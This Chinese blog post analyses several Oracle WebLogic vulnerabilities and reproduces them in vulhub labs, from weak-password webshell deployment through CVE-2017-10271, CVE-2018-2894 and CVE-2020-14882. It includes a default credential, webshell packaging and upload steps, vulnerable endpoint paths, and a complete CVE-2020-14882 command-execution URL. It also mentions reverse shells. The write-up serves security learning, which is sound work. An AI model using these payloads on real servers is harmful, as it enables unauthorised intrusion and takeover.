本文首发于先知社区:https://xz.aliyun.com/t/9932
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
简介
WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。
本文将对一些常见的weblogic漏洞进行漏洞分析及复现,漏洞环境基于vulhub搭建。
弱口令
漏洞原理
在weblogic搭建好之后没有修改进入后台的密码导致弱口令登录获得webshell
漏洞复现
进入weak_password
的docker环境
访问一下7001端口,这里出现404是正常的
访问http://192.168.1.10:7001/console如下图所示
这里注意一下不能使用bp抓包去爆破,错误密码5次之后就会自动锁定,这里使用weblogic/Oracle@123登陆后台
登录后台后点击部署
点击安装
点击上传文件
这里需要准备一个war包,这个war包里面存放的就是一个jsp的马,使用如下命令打包当前文件夹下的所有文件
1 | jar -cvf aaa.war . |
然后上传aaa.war点击下一步
一直Next即可
到这里点击完成
可以看到这里aaa.war已经部署成功
直接上冰蝎连接即可,这里aaa是我的war名,shell.jsp是打包在war里面的文件
CVE-2017-3506
XMLDecoder反序列化漏洞(CVE-2017-3506)
漏洞原理
在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞
分析漏洞调用链
weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter
先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法
第43行,将localHeader1变量带入到readHeaderOld()方法中。localHeader1变量由第41行定义,其值为work:WorkContext 标签包裹的数据。
1 | <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> |
跟进readHeaderOld()方法(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)
在106行,有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray())),创建了WorkContextXmlInputAdapter()对象(即对WorkContextXmlInputAdapter类进行了实例化),带入构造函数的参数即为传入的XML格式序列化数据。
跟进至WorkContextXmlInputAdapter类中(weblogic.wsee.workarea.WorkContextXmlInputAdapter )
第19行,此处通过XMLDecoder反序列化,输入内容可控,故漏洞产生。
漏洞复现
这里使用的weak_password
环境weblogic的版本为10.3.6,也存在这个漏洞,所以继续使用这个docker
访问以下目录中的一种,有回显如下图可以判断wls-wsat组件存在
1 | /wls-wsat/CoordinatorPortType |
在当前页面抓包之后在
然后直接冰蝎连接即可
CVE-2017-10271
XMLDecoder反序列化漏洞(CVE-2017-10271)
漏洞原理
在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,CVE-2017-3506的补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java
中添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,不过这次防护力度不够,导致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE,于是CVE-2017-10271的补丁将object、new、method关键字加入黑名单,针对void和array这两个元素是有选择性的抛异常,其中当解析到void元素后,还会进一步解析该元素中的属性名,若没有匹配上index关键字才会抛出异常。而针对array元素而言,在解析到该元素属性名匹配class关键字的前提下,还会解析该属性值,若没有匹配上byte关键字,才会抛出运行时异常。总之,这次的补丁基本上限定了不能生成java实例。
漏洞复现
进入CVE-2017-10271对应的docker环境
访问http://192.168.1.10:7001/wls-wsat/CoordinatorPortType如下图所示则存在漏洞
bp在当前页面抓包后使用bash命令反弹shell,nc开启端口即可
1 | /bin/bash |
CVE-2019-2725
wls-wsat反序列化漏洞(CVE-2019-2725)。攻击者可以发送精心构造的恶意HTTP请求,在未授权的情况下远程执行命令。
漏洞原理
漏洞触发点:bea_wls9_async_response.war、wsat.war
影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3
通过CVE-2019-2725补丁分析发现,较上一个漏洞CVE-2017-10271补丁而言,官方新增了对class元素的过滤,并且array元素的length属性转换为整形后不得大于10000:
本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行。
漏洞复现
访问以下目录中的一种,如下图所示则漏洞
1 | /_async/AsyncResponseService |
bp在当前页面抓包,使用bash命令反弹shell,nc开启端口监听即可
1 | GET /_async/AsyncResponseService HTTP/1.1 |
CVE-2018-2628
WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行
同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638
漏洞原理
在InboundMsgAbbrev中resolveProxyClass中,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,这就会导致任意一个rmi接口都可绕过。核心部分就是JRMP(Java Remote Method protocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。
漏洞复现
进入CVE-2018-2628的docker环境
这里先使用nmap扫描一下是否开启了WebLogic T3服务
1 | nmap -n -v -p 7001,7002 192.168.1.10 --script=weblogic-t3-info |
这里使用K8Weblogic.exe直接写一个shell进去
然后使用以下py获取一个交互型shell
1 | #!/usr/bin/env python |
url这个位置就填之前exe上传shell的位置即可,拿到交互shell之后可以echo写一个冰蝎马或者powershell上线cs都可
CVE-2018-2894
WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在
漏洞原理
在ws-testpage-impl.jar/com.oracle.webservices.testclient.ws.res.WebserviceResource 类中存在importWsTestConfig方法
跟进 RSdataHelper的convertFormDataMultiPart方法,接下来调用convertFormDataMultiPart方法,文件直接由字段 文件名拼接而成,没有任何限制。
ws-testpage-impl.jar!/com/oracle/webservices/testclient/ws/util/RSDataHelper.class:164
漏洞复现
进入CVE-2018-2894的docker环境
这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码
1 | docker-compose logs | grep password |
使用得到的密码登入后台
点击高级选项
勾选启用web服务测试页
保存即可进入开发环境
开发环境下的测试页有两个,分别为config.do
和begin.do
首先进入config.do
文件进行设置,将目录设置为ws_utc
应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
1 | /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css |
点击添加后上传一个jsp
提交之后点击F12审查元素得到jsp上传后的时间戳
构造得到http://192.168.1.10:7001/ws_utc/css/config/keystore/1626765378314_shell.jsp,连接即可
这里我们在对begin.do
未授权访问进行利用。访问http://192.168.1.10:7001/ws_utc/begin.do,上传一个jsp
点击提交,这里辉显示一个error不用管它,F12进入网络,然后筛选POST方法,得到一个jsp的路径
CVE-2020-14882
漏洞原理
这个洞的利用过程十分精妙,说实话有点没太跟明白,这里就不详细写了,大致就是通过访问console.portal
路径并且触发handle
执行。有兴趣的小伙伴请移步:
https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
漏洞复现
首先进入CVE-2020-14882的docker环境
访问控制台如图所示
这里直接可以构造
访问即可进入后台,达到未授权访问的效果
但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell
首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹
访问http://192.168.1.10:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);
得到如下界面,这里看起来没有利用成功
我们进入docker查看发现文件夹已经创建成功了
1 | docker ps |
这里创建一个xml文件,还是使用bash命令得到反弹shell
1 | # reverse-bash.xml |
nc开启监听端口,访问
即可得到反弹shell
总结
weblogic的漏洞其实有很多,这里只是挑了一些比较常见的漏洞进行漏洞分析和复现,其实也有批量检测漏洞的软件,这里为了加深印象还是手动复现了一遍,这里漏洞分析这一块当然也是跟着大佬们的思路跟下去,这里对前辈们表示衷心的感谢,不足之处欢迎指出。